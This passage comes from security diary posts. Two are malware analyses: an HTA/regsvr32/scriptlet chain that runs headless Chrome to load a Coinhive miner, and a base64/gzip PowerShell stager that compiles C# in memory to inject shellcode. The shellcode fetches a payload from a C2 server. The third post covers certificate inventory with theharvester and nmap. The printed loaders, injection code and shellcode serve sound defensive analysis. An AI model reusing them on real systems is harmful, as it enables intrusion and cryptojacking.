What if the victim does not run a browser? What happens if the victim closes it? No problem, just fire one in headless mode to remain stealthy! Indeed, all modern browsers can be run in headless mode (read: without graphical interface). Why is such mode interesting? When you fetch a page with wget or curl, the content gets rendered on the server side but all client-side activity (like JavaScript) is not. Headless browsers provide automated control of a web page in an environment similar to popular web browsers but are controlled via the command line. They can be integrated into scripts via Selenium[2] to automate many tasks related to websites (like automatic crawling).

Let’s have a look at the following malicious HTA code (SHA256: a573758242126c7b01582dc9afbc127580485e0c68bc578002ad361229595099)

$ cat -n stage1.hta
     1    <html>
     2    <head><HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
     3    <script language="VBScript">
     4    Dim objShell, strProgram
     5    Set objShell = CreateObject("WScript.Shell")
     6    strProgram = "regsvr32.exe /s /u /i:hxxp://slprmnr[.]tk/koadic.png scrobj.dll"
     7    objShell.Run strProgram,0,True
     8    self.close()
     9    </script>
    10    </head>
    11    <body>
    12    </body>
    13    </html>

The VBScript will spawn the command in line 6. The parameter “/i” invokes DllInstall[3] for scrobj.dll. The use of regsvr32.exe is a nice technique to bypass application whitelisting. This tool, like most of the Microsoft tools, is signed, can fetch files from the wild Internet and, if needed, uses the local proxy configuration. Scrobj.dll is helpful to register and unregister COM objects. It just needs an SCT file to process. SCT files are basically XML files and can contain very interesting commands.

Let’s grab the second stage delivered via the URL in line 6:

$ cat -n stage2.sct
     1    <?XML version="1.0"?> <scriptlet> <registration
     2      progid="TESTING"
     3      classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
     4      <script language="JScript">
     5        <![CDATA[
     6          var foo = new ActiveXObject("WScript.Shell").Run("chrome.exe --headless --disable-gpu --remote-debugging-port=9222 hxxp://slprmnr[.]tk/obfus.html");
     7        ]]> </script> </registration>
     8    </scriptlet>

Line 6 is the most interesting. Chrome is started in headless mode and fetches the provided URL. which is the next stage:

$ cat -n stage3.html
     1    <html>
     2    <body>
     3    <script src="hxxps://coinhive[.]com/lib/coinhive.min.js"></script>
     4    <script>
     5    eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 0=1 3.4(\'5\');0.6(); ',7,7,'miner|new|var|CoinHive|Anonymous|CVuJrOnM1MFx7idtIOhKAyM9tyr4sksU|start'.split('|'),0,{}))
     6    </script>
     7    </body>
     8    </html>

This is a classic coinhive miner (SHA256:5d514880ad502302dd4bf0ef8da5d38356385d1c43689f6739f6771ed7a4ef73)[4].

This technique was already covered a few months ago but in a Linux system[5]. In this case, the method used on Windows systems is interesting.

[1] https://isc.sans.edu/forums/diary/Cryptominer+Delivered+Though+Compromized+JavaScript+File/23870/
[2] https://www.seleniumhq.org/
[3] https://docs.microsoft.com/en-us/windows/desktop/api/shlwapi/nf-shlwapi-dllinstall
[4] https://www.virustotal.com/#/file/5d514880ad502302dd4bf0ef8da5d38356385d1c43689f6739f6771ed7a4ef73/detection
[5] https://steemit.com/mining/@ttox/headless-browser-mining

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 Comments

Published: 2018-09-05

Malicious PowerShell Compiling C# Code on the Fly

What I like when hunting is to discover how attackers are creative to find new ways to infect their victim’s computers. I came across a Powershell sample that looked new and interesting to me. First, let’s deobfuscate the classic way.

It started with a simple Powerscript command with a big Base64 encoded string:

$ cat step1.base64.txt
JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByA
G8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwArADIALwBpAFMAQgBMACsATwBmAHcAVg
AzAGcAaABwAGcANQBKAGcARABJAFIASABSAGkATgBOAEcAegBBADIAWQBCADQARwBiAEUASQBVAG4AZABwADIAMgAyADUAbwB1AHgAMAAvAGUARwBSADI
ALwB2AGQAcgBZADgASQB0AE0ANwB0ADcAMABwADAAbABDADMAZABSADkAVgBWADkAMQBkAFYAZABOAFUAZgBKADQAegB5AEoAcwBKAFcAbwAxAEUAYgBj
AG8ANAA2AGkARwBOAE8AQQBxAHgAWQBLAHgAUwA1AFYARQB1ADQAcgA5ACsAMwAzAFEAaABIAEcATQBmAEoATgBjAHMAeQBXAHQANABXAGIATgBNAGEAQ
...stuff deleted...
SwBGAHMAKwBaADIAdgBOAHoAegBFAFkAYgA3AGgARwA5AGMANgAxAFQAVgBIAEUAMgAyAGoAeAB1AHEATQBrAHkAZgArAHAAKwBkADAAVgBZADQAcABUA
GUAaQB2AFYAQQA3AGcAZgAzAHkASABJAE0ANABsAHEAVgBlAHcAUwBSAG0ALwBxAEkARABTAEwANQBnAFAAMABIAHQAMgBkAFIAbgBRAHoALwBZAEEATw
BzAGgAZgBBAE8AUABRADYAbwB5AFkAZwBnAEUAcQBNAE0AKwBnAFMAUwBLAFQAUABaAHYAdwBHAG8AYQBIAHoAMABzAFEAcwBBAEEAQQA9AD0AIgApACk
AOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAg
AEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8Ab
gAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoAC
kAOwA=

Once decoded, the result was a Unicode string containing more Powershell code. Let's decode this second stage:

$ cat step1.base64.txt | base64 -d | iconv -f utf-16 -t ascii >step2.txt.malicious
$ cat step2.txt.malicious
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

The script contains another Base64 + Gzipped string. Let’s decode it in the same way:

$ echo -n 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
6oyYggEqMM+gSSKTPZvwGoaHz0sQsAAA== | base64 -d | gzip -d -c - >step3.txt.malicious

Finally, we have this Powerpoint code which looks much more interesting:

$ cat -n step3.txt.malicious
     1    Set-StrictMode -Version 2
     2
     3    $DoIt = @'
     4    $assembly = @"
     5        using System;
     6        using System.Runtime.InteropServices;
     7        namespace inject {
     8            public class func {
     9                [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
    10                [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
    11                [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
    12                [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    13                [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    14                [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
    15            }
    16        }
    17    "@
    18
    19    $compiler = New-Object Microsoft.CSharp.CSharpCodeProvider
    20    $params = New-Object System.CodeDom.Compiler.CompilerParameters
    21    $params.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
    22    $params.GenerateInMemory = $True
    23    $result = $compiler.CompileAssemblyFromSource($params, $assembly)
    24
    25    [Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAc
fi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4F
hfWosS64ZdaG5ldABod2luaVRoT
HcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAInga
gRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////
zH/6ZEBAADpyQEAAOhv////L1ZkQWEAGi03F8fms8HPRgZbfhAXu7XunZHvgTQZ14ncgAx76U+mGQm7eQxC9LKfKHzD1WL1lypbBs1/L9dCY4I9V/QmKmkGvuJkD
+33lQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IEJPSUU5O
0VOR0IpDQoA4jjZnOfGnJvj2Gp/vnWrt9Lji/hmO1p9bcHvSdHQYH4FHjWecqkJhnHKbEH+ysM4yitxNpAVQRRa9VCDY7HtCrLC72vcE0waIBfl5cKEkM7txMQah
Hd8NJtUEoiqpPKPCSTbg7DmAEmnRWlKiaPJnuZPyIiBPG1SaeT1lgJ+6uzshtQicNFmznhoBflfIikfIhq3XIjdYRV7+hCkiUCE4elWmE71xBzpHcBol70Kw5NPT
xAVIbiawM3I6dWmpmEo4H2KAaLT/M3jnxsqwTgAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFw
HXlWMPoif3//zMxLjIyMC40NS4xNTEAAAAAAQ==")
    26
    27    $buffer = [inject.func]::VirtualAlloc(0, $var_code.Length + 1, [inject.func+AllocationType]::Reserve -bOr [inject.func+AllocationType]::Commit, [inject.func+MemoryProtection]::ExecuteReadWrite)
    28    if ([Bool]!$buffer) {
    29        $global:result = 3;
    30        return
    31    }
    32    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $buffer, $var_code.Length)
    33    [IntPtr] $thread = [inject.func]::CreateThread(0, 0, $buffer, 0, 0, 0)
    34    if ([Bool]!$thread) {
    35        $global:result = 7;
    36        return
    37    }
    38    $result2 = [inject.func]::WaitForSingleObject($thread, [inject.func+Time]::Infinite)
    39    '@
    40
    41    If ([IntPtr]::size -eq 8) {
    42        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
    43    }
    44    else {
    45        IEX $DoIt
    46    }

What does this script do? The most interesting part is between lines 4 & 23. Powershell is a wonderful tool and is able to dynamically compile C# code. The variable $result contains bytes for the compiled assembly to be loaded at a later time. This is performed via the Microsoft.CSharp.CSharpCodeProvider[1]. The C# code to be compiled is:

using System;
    using System.Runtime.InteropServices;
    namespace inject {
        public class func {
            [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
            [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
            [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
            [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
            [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
            [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
        }
    }

While debugging the malicious Powershell, you can find the compiler generated files in %TEMP%. Here is the command line generated to compile the code:

C:\Users\REM\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\REM\AppData\Local\Temp\wksk3kir.dll" /debug- /optimize+  "C:\Users\REM\AppData\Local\Temp\wksk3kir.0.cs"

It compiles a DLL file (SHA256: 82fbc7a7c75a559e004a9a4f96e1ae1c8d99586b465f391cc547d4977720f858)

At line 25, the shellcode is injected in the Powershell process via the DLL ‘inject’ namespace using the common system calls VirtualAlloc(). Then the memory protection is changed to ‘ExecuteReadWrite’. Finally, a new threat is created at line 33.

Let’s decode the shellcode now:

$ echo -n '/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc
8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAA
AWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+E
ygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L1ZkQWEAGi03F8fms8HPRgZbf
hAXu7XunZHvgTQZ14ncgAx76U+mGQm7eQxC9LKfKHzD1WL1lypbBs1/L9dCY4I9V/QmKmkGvuJkD+33lQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZT
sgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IEJPSUU5O0VOR0IpDQoA4jjZnOfGnJvj2Gp/vnWrt9Lji/hmO1p9bcHvSdHQYH4FHjW
ecqkJhnHKbEH+ysM4yitxNpAVQRRa9VCDY7HtCrLC72vcE0waIBfl5cKEkM7txMQahHd8NJtUEoiqpPKPCSTbg7DmAEmnRWlKiaPJnuZPyIiBPG1SaeT1lgJ+6uzshtQi
cNFmznhoBflfIikfIhq3XIjdYRV7+hCkiUCE4elWmE71xBzpHcBol70Kw5NPTxAVIbiawM3I6dWmpmEo4H2KAaLT/M3jnxsqwTgAaPC1olb/1WpAaAAQAABoAABAAFdoW
KRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zMxLjIyMC40NS4xNTEAAAAAAQ==‘ | base64 -d >shellcode.malicious

We can find basic information in strings contained in the shellcode but thanks to Didier’s last diary[2], let's see what the shellcode is doing:

C:\Users\REM\Desktop\VS_LIBEMU-master>scdbg.exe -s -1 -f shellcode.malicious
Loaded 343 bytes from file shellcode.malicious
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b5  InternetOpenA()
4010d1  InternetConnectA(server: 31.220.45.151, port: 443, )
4010ed  HttpOpenRequestA(path: /VdAa, )
401106  InternetSetOptionA(h=4893, opt=1f, buf=12fdec, blen=4)
401116  HttpSendRequestA(User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB), )
401138  GetDesktopWindow()
401147  InternetErrorDlg(11223344, 4893, 401138, 7, 0)
401303  VirtualAlloc(base=0 , sz=400000) = 600000
40131e  InternetReadFile(4893, buf: 600000, size: 2000)

Let’s execute it in a sandbox. The following behaviour can be observed:

It grabs a new payload from hxxps://31[.]220[.]45[.]151/VdAa

The file is detected as raw data and is probably XOR’d (SHA256: 6d808d2ff7752bea43216fef7e3d52dac098ad260824b852f78bb1604479938a). I did not try to decode it, I just uploaded it to my sandbox lab to be delivered when the shellcode requests it. It was decoded and started beaconing to its C2 via the following URL exactly every 60 seconds: hxxps://31[.]220[.]45[.]151/visit.js

GET /visit.js
Host: 31.220.45.151
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Accept: */*
Cookie: NQhe1f6S55pxptY3TRq8iTRPOQml+VURG4YO0fSCi+DaqYrApfX0TEZu3xihxlAESVliCHzyBr84U1KiOIHeADfmfY7mdBbCEcXX+xHarM7+YooAHzAm4/k3YIBxJ6yo09nFBHpAi5uwC1H/wGaiDGozMF6XJoawxmyz6qMigVQ=

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Date: Tue, 4 Sep 2018 13:16:34 GMT
Content-Length: 0

The result was empty but I presume that the C2 should return some commands at a certain time. I started the following loop as a simple honeypot:

while true
  do curl --header "Cookie: NQhe1f6S55pxptY3TRq8iTRPOQml+VURG4YO0fSCi+DaqYrApfX0TEZu3xihxlAESVliCHzyBr84U1KiOIHeADfmfY7mdBbCEcXX+xHarM7+YooAHzAm4/k3YIBxJ6yo09nFB
HpAi5uwC1H/wGaiDGozMF6XJoawxmyz6qMigVQ=" -k -A 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)' hxxps://31[.]220[.]45[.]151/visit.js
  sleep 60
  echo -n "===; date
done

Until now, no command was received from the C2... 

[1] https://docs.microsoft.com/en-us/dotnet/api/microsoft.csharp.csharpcodeprovider?view=netframework-4.7.2
[2] https://isc.sans.edu/forums/diary/Another+quickie+Using+scdbg+to+analyze+shellcode/24058/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2018-09-05

Where have all my Certificates gone? (And when do they expire?)

Recently I had a client that was trying to "rein in" their wildcard certificate usage.  They had given the same wildcard to their developers, their infrastructure team, security team, everyone really.
The *business* problem was that it's due to expire in a few weeks, and nobody had a complete list of the public sites that were using it.  Plus nobody knew if there were other hosts out there, using individually purchased certificates.

Easy to solve you say?  Sure, if you had a list of all of the public subnets they use - I could easily figure out what they own from arin.net, but not all the subnet address space they were "borrowing" from their various ISPs.  Let alone what all they had running in Azure, AWS and a few other clouds.

So, after the obvious list (which they already had), I started the fun part.

First, I went to arin.net and got their actual subnets.  
Then I ran theharvester (it's part of Kali) to find the *other* bits and pieces of infrastructure that might be in play.
Theharvester is a nice open source intelligence tool starts with various search

First, let's run the tool - command line options are:

root@kali:~# theharvester

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.2a                                          *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Usage: theharvester options

       -d: Domain to search or company name
       -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,people123,jigsaw,all)
       -s: Start in result number X (default 0)
       -v: Verify host name via dns resolution and search for virtual hosts
       -f: Save the results into an HTML and XML file
       -n: Perform a DNS reverse query on all ranges discovered
       -c: Perform a DNS brute force for the domain name
       -t: Perform a DNS TLD expansion discovery
       -e: Use this DNS server
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
       -h: use SHODAN database to query discovered hosts
            google 100 to 100, and pgp doesn't use this option)

Examples: theharvester -d microsoft.com -l 500 -b google
            theharvester -d microsoft.com -b pgp
            theharvester -d microsoft -l 200 -b linkedin

Narrowing it down, let's pull just the hostnames, and dump them to a file.

theharvester -d customerdomain.com -l 500 -b bing -v -n | grep -v \@ | sed s"\t"/":"/g | cut -d ":" -f 2 | sort | uniq > domainhosts.in

Disecting the line above:

we're using bing, mostly because google is being picky about me having an API key today :-)
"grep -v \@" filters out all the email addresses we found
"sed s"\t"/":"/g"  replaces all the tab characters with colons (we need this for the next filter)
"cut -d ":" -f 2" says "give me just column two, using colons as a separator
The "sort" and "uniq" of course in combination filters out duplicate entries

Now we can assess the certicate in use on each host - the goal here is to collect the certificate in use on each site and the expiry date.

NMAP does a decent job on this:

nmap -p443 --open -iL domainhosts.in --script ssl-cert.nse | findstr "report after"

This assesses the certificates on each host, then reports back with the hostname being assessed and the expiry date of it's certificate.  I'm only checking port 443, but you can easily expand that of course - running it for the default port list or even all ports can often yield good results in a pentest of security assessment for instance.

If for instance the domainhosts.in file looks like this:

isc.sans.org
www.giac.org
www.sans.org

The output will be just the data we're looking for:

